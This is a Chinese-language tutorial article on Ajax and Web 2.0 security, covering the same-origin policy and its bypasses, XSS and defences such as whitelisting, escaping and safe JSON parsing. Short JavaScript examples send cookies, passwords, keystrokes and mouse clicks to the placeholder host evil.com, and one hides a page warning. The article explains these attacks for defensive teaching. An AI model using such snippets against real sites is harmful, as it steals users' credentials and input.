Ajax 构建于动态 HTML(DHTML)技术之上,其中包括如下这些最常见的技术:
- JavaScript :JavaScript 是一种脚本语言,在客户端 Web 应用程序中经常使用。
- 文档对象模型(Document Object Model,DOM) :DOM 是一种用于表示 HTML 或 XML 文档的标准对象模型。如今,大多数浏览器都支持 DOM 并允许 JavaScript 代码动态地读取和修改 HTML 内容。
- 层叠样式表(Cascading Style Sheets,CSS) :CSS 是一种用于说明 HTML 文档表示的样式表语言。JavaScript 能够在运行的时候对样式表进行修改,这样便可以动态地更新 Web 页面的表示。
在 Ajax 中,客户端 JavaScript 通过动态地修改 DOM 树和样式表来更新 Web 页面。此外,异步通信(可以通过下面介绍的技术实现)允许动态地更新数据,而无需重新加载整个 Web 页面:
XMLHttpRequest
:XMLHttpRequest
是一个 API,它允许客户端的 JavaScript 与远程服务器建立 HTTP 连接和交换数据,比如说纯文本、XML 和 JSON(JavaScript Serialized Object Notation)。- JSON :JSON 由 RFC 4627 提出,是一种轻量的、基于文本的、独立于语言的数据交换格式。它以 ECMAScript 语言的一个子集为基础(这使之成为 JavaScript 语言的一个部分),并且定义了一小套格式规则用以创建结构数据的可移植表示。
注意,Ajax 应用程序中还有一些其他常用的格式可以替代 JSON,比如说 XML 和无格式的纯文本。此处我们选择讨论 JSON,其原因在于它具有一些隐藏的安全问题,稍后我们将在文章中对其进行研究。
建议对 Ajax 还不熟悉的读者先阅读 参考资料 中的文章。
当来自多个始发源的内容以某种方式被集成到一个单一的应用程序中时,一些内容相互之间可能具有不同的信任级别,或者它们可能根本没有必要相互信任。这样自然而然会产生某种需求,即把来自不同始发者的内容分离开来,把它们之间的冲突减至最少。
同源策略是当前浏览器的保护机制的一部分,该机制将来自不同域(假设域代表的是始发者)的 Web 应用程序分离开来。也就是说,如果多个窗口或框架中的一些应用程序是从不同的服务器下载的,那么它们无法相互访问数据和脚本。注意,同源策略只能应用于 HTML 文档。通过 <script src="..." >
标记导入 HTML 文档的 JavaScript 文件被认为是该 HTML 文档的同源的一部分。该策略在所有主要浏览器实现中都有执行。
在 XMLHttpRequest
的上下文中,同源策略的目的是控制应用程序与远程服务器的交互。然而,同源策略对 Web 2.0 应用程序的影响力比较有限,这有如下几个原因:
- 可以通过许多方法绕过同源策略 :稍后我将在文章中演示其中的一些方法。
- Web 2.0 应用程序的一个重要特性就是用户对内容的贡献 :也就是说,通常内容并不是由受信任的服务提供的,而更多的是由异步用户通过 blog、wiki 等媒介提供的。因此,即便是单个服务器中的内容实际上也能够来自多个来源。
- 浏览器强制同源策略将服务器的域名作为串字面值进行检查 :例 如,http://www.abc.com/ 和 http://12.34.56.78/ 会被作为不同的域而区别对待,即使 www.abc.com 的 IP 地址实际上就是 12.34.56.78。此外,URL 中的任何路径表达式都将被忽略。例如,http://www.abc.com/~alice 会被识别为 http://www.abc.com/~malroy 的同源,从而忽略了这样一个事实,即这两个目录有可能属于不同的用户。
- 大多数 Web 浏览器允许 Web 应用程序将域的定义放宽为应用程序自身的超域 :比如说,如果应用程序是从 www.abc.com 处下载的,那么应用程序可以把
document.domain
属性重写为 abc.com 或者就是 com(在 Firefox 中)。大多数最新的浏览器只允许访问已经把它们的document.domain
属性重写为相同值的窗口或框架中的窗口对象。然而,一些版本比较老的浏览器允许与document.domain
属性中指定的域建立XMLHttpRequest
连接。 - 即使某个 Web 服务器位于受信任的域中,该服务器可能并不是内容的始发源,尤其是在 Web 2.0 的上下文中 : 比如说,企业门户服务器、基于 Web 的邮件服务器或者 wiki 可以是受信任的,但是他们所托管的内容可能包含来自具有潜在的恶意的第三方的输入,这个第三方可以是跨站脚本(cross-site scripting,XSS)攻击(该攻击我们将在稍后介绍)的目标。因此,服务器所在的域并不能代表其内容的可信任度。
由于 JSON 只是一种含有简单括号结构的纯文本,因此许多通道都可以交换 JSON 消息。因为同源策略的限制,我们不能在与外部服务器进行通信的时候使用 XMLHttpRequest
。JSONP(JSON with Padding)是一种可以绕过同源策略的方法,即通过使用 JSON 与 <script>
标记相结合的方法,如 清单 1 所示。
- <script type="text/javascript"
- src="http://travel.com/findItinerary?username=sachiko&
- reservationNum=1234&output=json&callback=showItinerary" />
当 JavaScript 代码动态地插入 <script>
标记时,浏览器会访问 src
属性中的 URL。这样会导致将查询字符串中的信息发送给服务器。在 清单 1 中,所传递的是 username
和 reservation
作为名称值对传递。此外,查询字符串还包含向服务器请求的输出格式和回调函数的名称(即 showItinerary
)。<script>
标记加载后,会执行回调函数,并通过回调函数的参数把从服务返回的信息传递给该回调函数。
Ajax 代理是一种应用级代理服务器,用于调解 Web 浏览器和服务器之间的 HTTP 请求和响应。Ajax 代理允许 Web 浏览器绕过同源策略,这样便可以使用 XMLHttpRequest
访问第三方服务器。要实现这种绕过,有如下两种方法可供选择:
- 客户端 Web 应用程序知道第三方 URL 并将该 URL 作为 HTTP 请求中的一个请求参数传递给 Ajax 代理。然后,代理将请求转发给 www.remoteservice.com。注意,可以把代理服务器的使用隐藏在 Web 应用程序开发人员所使用的 Ajax 库的实现中。对于 Web 应用程序开发人员而言,它看上去可能完全不具有同源策略。
- 客户端 Web 应用程序不知道第三方 URL,并且尝试通过 HTTP 访问 Ajax 代理服务器上的资源。通过一个预定义的编码规则,Ajax 代理将 所请求的 URL 转换为第三方服务器的 URL 并代表客户检索内容。这样一来,Web 应用程序开发人员看上去就像是在和代理服务器直接进行通信。
Greasemonkey 是一个 Firefox 扩展,它允许用户动态地对 Web 页面的样式和内容进行修改。Greasemonkey 用户可以把用户脚本(user script) 文件与一个 URL 集合建立关联。当浏览器通过该 URL 集合加载页面时,便会执行这些脚本。Greasemonkey 为用户脚本的 API 提供了额外的许可(与运行在浏览器沙盒中的脚本的许可相比较)。
GM_XMLHttpRequest
是其中的一个 API,它从本质上说就是一个不具有同源策略的 XMLHttpRequest
。用户脚本可以将浏览的内置 XMLHttpRequest
替代为 GM_XMLHttpRequest
,从而许可 XMLHttpRequest
执行跨域访问。
GM_XMLHttpRequest
的使用只能通过用户同意的途径才能受到保护。也就是说,Greasemonkey 只有在建立新用户脚本与特定 URL 的集合之间的关联时才会要求用户配置。然而,不难想象一些用户可能会被欺骗,在没有完全理解其后果时就接受该安装。
不仅开发人员在避免同源策略时会向恶意用户露出攻击面,当恶意代码被插入 Web 应用程序中时当前的应用程序也易于受到攻击。遗憾的是,恶意代码进入 Web 应用程序的方法多种多样。我们将简要讨论其中两种可能的途径,这对于 Web 2.0 的下上文来说也日渐相关。
跨站脚本(Cross-site scripting,XSS)
XSS 是一种很常见的攻击手段,在该攻击中攻击者将一个恶意代码段注入到一个运行良好的站点中。XSS 攻击有如下两种基本的类型:
- Reflected XSS
- Stored XSS
reflected XSS 攻击利用了 Web 应用程序安全性低的弱点,该应用程序在浏览器中显示输入参数而不对其中是否存在活动内容进行检查。通常,攻击者会诱使受害者单击 URL,如 清单 2 所示。
清单 2. reflected XSS 攻击的一个示例 URL
- http://trusted.com/search?keyword=<script>
- document.images[0].src="http://evil.com/steal?cookie="
- + document.cookie; </script>
假设 trusted.com 提供了一个服务,该服务具有一个搜索特性能把搜索结果和输入的关键字一起提交回来。如果搜索应用程序没有过滤 URL 中的一些特殊字符(如小于号 (<) 和大于号 (>)),则 <script>
标记也将被插入到用户 Web 页面中,这样将会把文档的 cookie 发送给远程服务器 evil.com。
随着 Web 2.0 的普及 stored XSS 攻击越来越严重。Web 2.0 成功的关键是大众之间的共享、交互和协作,因此用户有更多的机会可以通过一些服务(比如说社会网络服务(social network services,SNS)、wiki 或 blog)看到其他用户(具有潜在恶意性)的输入。
不管怎样,输入值验证和数据消毒(sanitation)是防止 XSS 攻击的关键因素。通常,Web 服务器从用户输入中移除脚本,但是攻击者经常会利用服务器的弱点绕过这些过滤器,从而造成一些重大的攻击,比如说 Yamanner 或 MySpaceIn 蠕虫。
mashup 应用程序是一种 Web 应用程序,它可以把来自多个来源的内容和服务结合到一个集成的用户体验中。通常,mashup 应用程序会造成一个单一的客户端应用程序,因此 mashup 中的不同部分可以通过一些浏览器资源(比如说 DOM 树或浏览器窗口工具)来进行信息共享和交互。当 mashup 中的某些部分是出于恶意目的编写的(或者被攻击了),它可以将恶意代码注入到应用程序中。这样会导致各种类型的攻击(类似于 XSS),包括盗取用户的敏感信息。
我们已经知道攻击者是如何将代码注入应用程序的,接下来再看看一些常见攻击所带来的影响。
对于攻击者而言,最直接的受益就是获得用户的敏感信息,比如说用户密码或 cookies。因为注入脚本可以访问 DOM 树的任何部分,所以它们可以从登录表单的文本字段中窃取密码信息。例如,清单 3 中展示的代码能够窃取信息并将其发送到某个攻击者的服务器。
- function stealpw(){
- var pw = document.getElementById("password").value;
- document.images[0].src="http://evil.com/imgs/stealpw?pw=" + pw;
- }
- document.getElementById("button").onclick = stealpw;
在本例中,攻击者需要等待一段时间,直到用户单击提交按钮之后才能接收到他的数据。Ajax 使攻击者的工作更加简单,这是因为它允许攻击者向远程服务发送任意信息,而不用等待利用用户的动作,比如说点击一个按钮或单击一个链接。这种类型的通信量 通常会被视为可疑行为,但是由于 Ajax 具有异步性,所以这种通信量常常不会被检测到。
使用类似的方法,攻击者还能够窃取敏感 Web 应用程序中的文档 cookies(比如说在线金融应用程序)。文档 cookies 可以允许攻击者劫持会话或使用所窃取的凭证进行登录。
注意,Microsoft® Internet Explorer® 6 或更高版本对 HttpOnly
cookies 提供了支持,这样可以防止客户端脚本访问文档 cookies。然而,由于大多数 Web 应用程序都不能依赖浏览器来实现,所以这种方法也无济于事。
清单 4 展示了一个简单的键盘记录工具示例,该工具窃取 Web 页面中的键盘事件并将它们发送给远程服务器。键盘记录工具允许攻击者劫持任何用户输入;比如说,如果某个用户在使用一个基于 Web 的电子邮件服务,那么键盘记录工具将记录下任何文本输入并将其发送给攻击者。然后,攻击者能够通过分析记录数据检索出凭证信息,比如说密码和凭证信息。
- function keylogger(e){
- document.images[0].src = "http://evil.com/logger?key="
- + e.keyCode;
- };
- document.body.addEventListener("keyup", keylogger, false);
软键盘是防止键盘记录工具窃取敏感输入信息(比如说用于在线金融服务的登录 PIN 码)的一个常用技巧。然而,鼠标嗅探器可以使用类似于键盘记录工具所使用的技巧。通过窃取鼠标事件的 X 和 Y 坐标,推算出鼠标在软键盘上所点击的键也是有可能的。清单 5 演示了一个简单的鼠标嗅探器的示例。
- function sniffer(e){
- document.images[0].src= "http://evil.com/imgs/sniffer?x="
- + e.clientX + "&y=" + e.clientY;
- };
- document.body.addEventListener("mouseup", sniffer, false);
使用 DOM 接口,攻击者能够修改 DOM 树中的任何信息。比如说,当某个用户正在进行在线转帐操作时,攻击者把目标帐户修改为属于他自己的帐户也是可行的。其结果是,转帐的金额将被存入攻击者的帐户中。
在另一种攻击类型中,攻击者可能会修改样式表,把信息隐藏起来不让用户发现。比如说,假设某个 Web 页面包含有一个警告消息,如 清单 6 所示。
- ...
- <style type="text/css"> #warning { color: red } </style>
- ...
- <div id="warning">The links in this page may refer to
- potentially malicious Web pages, so be careful. </div>
- ...
攻击者可能会修改样式表,消除警告。比如说,清单 7 中展示的 JavaScript 代码修改了警告的样式,使它在白色的背景中不可见。
- var e = document.getElementById("warning");
- e.style.color= "white";
我们对攻击有可能的实现和其所带来的后果有了基本的了解,接下来再看看一些技巧,并应用这些技巧改善 Ajax 应用程序的安全性。
正如我们在 XSS 示例中所看到的,大多数的攻击都利用了服务器端的弱点,注入恶意脚本。因此,要保护 Web 应用程序,第一步需要添加输入验证。输入验证和数据消毒会从不可信的输入中过滤掉所有可能的活动或恶意的内容。
输入验证的两种类型:
- 黑名单: 在这种方法中,黑名单中的所有字符都会从输入中过滤掉。黑名单所面临的最大的挑战就是要确保所有危险的字符都包含在名单中。因为要预测到所有可能的输入组合是不可能的,所以黑名单经常不能实现正确的验证。
- 白名单: 这种替代方法列出所有允许的字符并从输入中移除所有其它的字符。白名单所面临的最大的挑战就是在保持列表尽可能简短的同时,仍然能够提供足够的灵活性,允许 Web 应用程序所需的输入类型。
不能把黑名单或白名单作为一种绝对安全的解决方案。但是,人们通常认为白名单是更加安全的选择。因此,推荐您使用白名单来清除具有潜在危险性的输入。
对发送给浏览器并在其上显示的字符串中的特殊字符(比如说把小于号 (<) 换成 "<")进行转义是增强安全性的另一种方法。有些程序语言提供了一些内置的函数用于转义特殊字符。
由于应用程序中的程序错误都比较类似,因此许多 Web 应用程序都易于受到攻击。所以,安全专家开发了一些工具,用于检测这些不安全的编程实践。此类工具称为漏洞检查工具,它们能预先检测出潜在的漏洞。这些工 具检测出的最常见的漏洞之一就是程序员忘记对潜在的恶意输入调用消毒例程。
可以使用若干种方法在 JavaScript 程序中动态地生成代码。最著名的函数之一就是 eval()
函数,该函数允许您将任意字符串做为 JavaScript 代码执行。然而,肆无忌惮地使用该函数是非常危险的。遗憾的是,一些使用广泛的 JavaScript 库在内部直接使用 eval()
函数。
由于 JSON 是以 JavaScript 的一个子集为基础的,所以脚本内容会潜在地包含恶意代码。然而,JSON 是 JavaScript 的一个安全的子集,不含有赋值和调用。因此,许多 JavaScript 库使用 eval()
函数将 JSON 转换成 JavaScript 对象。要利用这点,攻击者可以向这些库发送畸形的 JSON 对象,这样 eval()
函数就会执行这些恶意代码。可以采取一些方法来保护 JSON 的使用。第一个方法是使用 RFC 4627 中所定义的正则表达式确保 JSON 数据中不包含活动的部分。清单 8 演示了如何使用正则表达式检查 JSON 字符串。
- var my_JSON_object = !(/[^,:{}\[\]0-9.\-+Eaeflnr-u \n\r\t]/.test(
- text.replace(/"(\\.|[^"\\])*"/g, ' '))) &&
- eval('(' + text + ')');
另一种更具安全性的方法是使用 JSON 解析器对 JSON 进行解析。由于 JSON 的语法相当的简单,您可以轻易地实现这种解析器,而不会带来显著的性能差异。
您可以利用同源策略使攻击者无法轻易地访问整个 DOM 树。当您把不同域中的数据加载到一个 <iframe>
中时,应该给予该数据一个属于自己的 JavaScript 执行上下文和 DOM 树。这样可以防止攻击者从主页面中窃取信息。尽可能多地 <iframe>
限制不可信的外部内容是一个良好的实践。
在这篇文章中,我们概述了在 Web 2.0 应用程序中避免同源策略的各种不同的方法。我们还演示了这些方法如何在 Web 应用程序中公开一些新的攻击点。我们讨论了一些常见的攻击类型和这些攻击所带来的后果。最后,我们在简短的最佳实践部分中对文章进行了总结,使用这些最佳 实践可以避免一些最常见的攻击。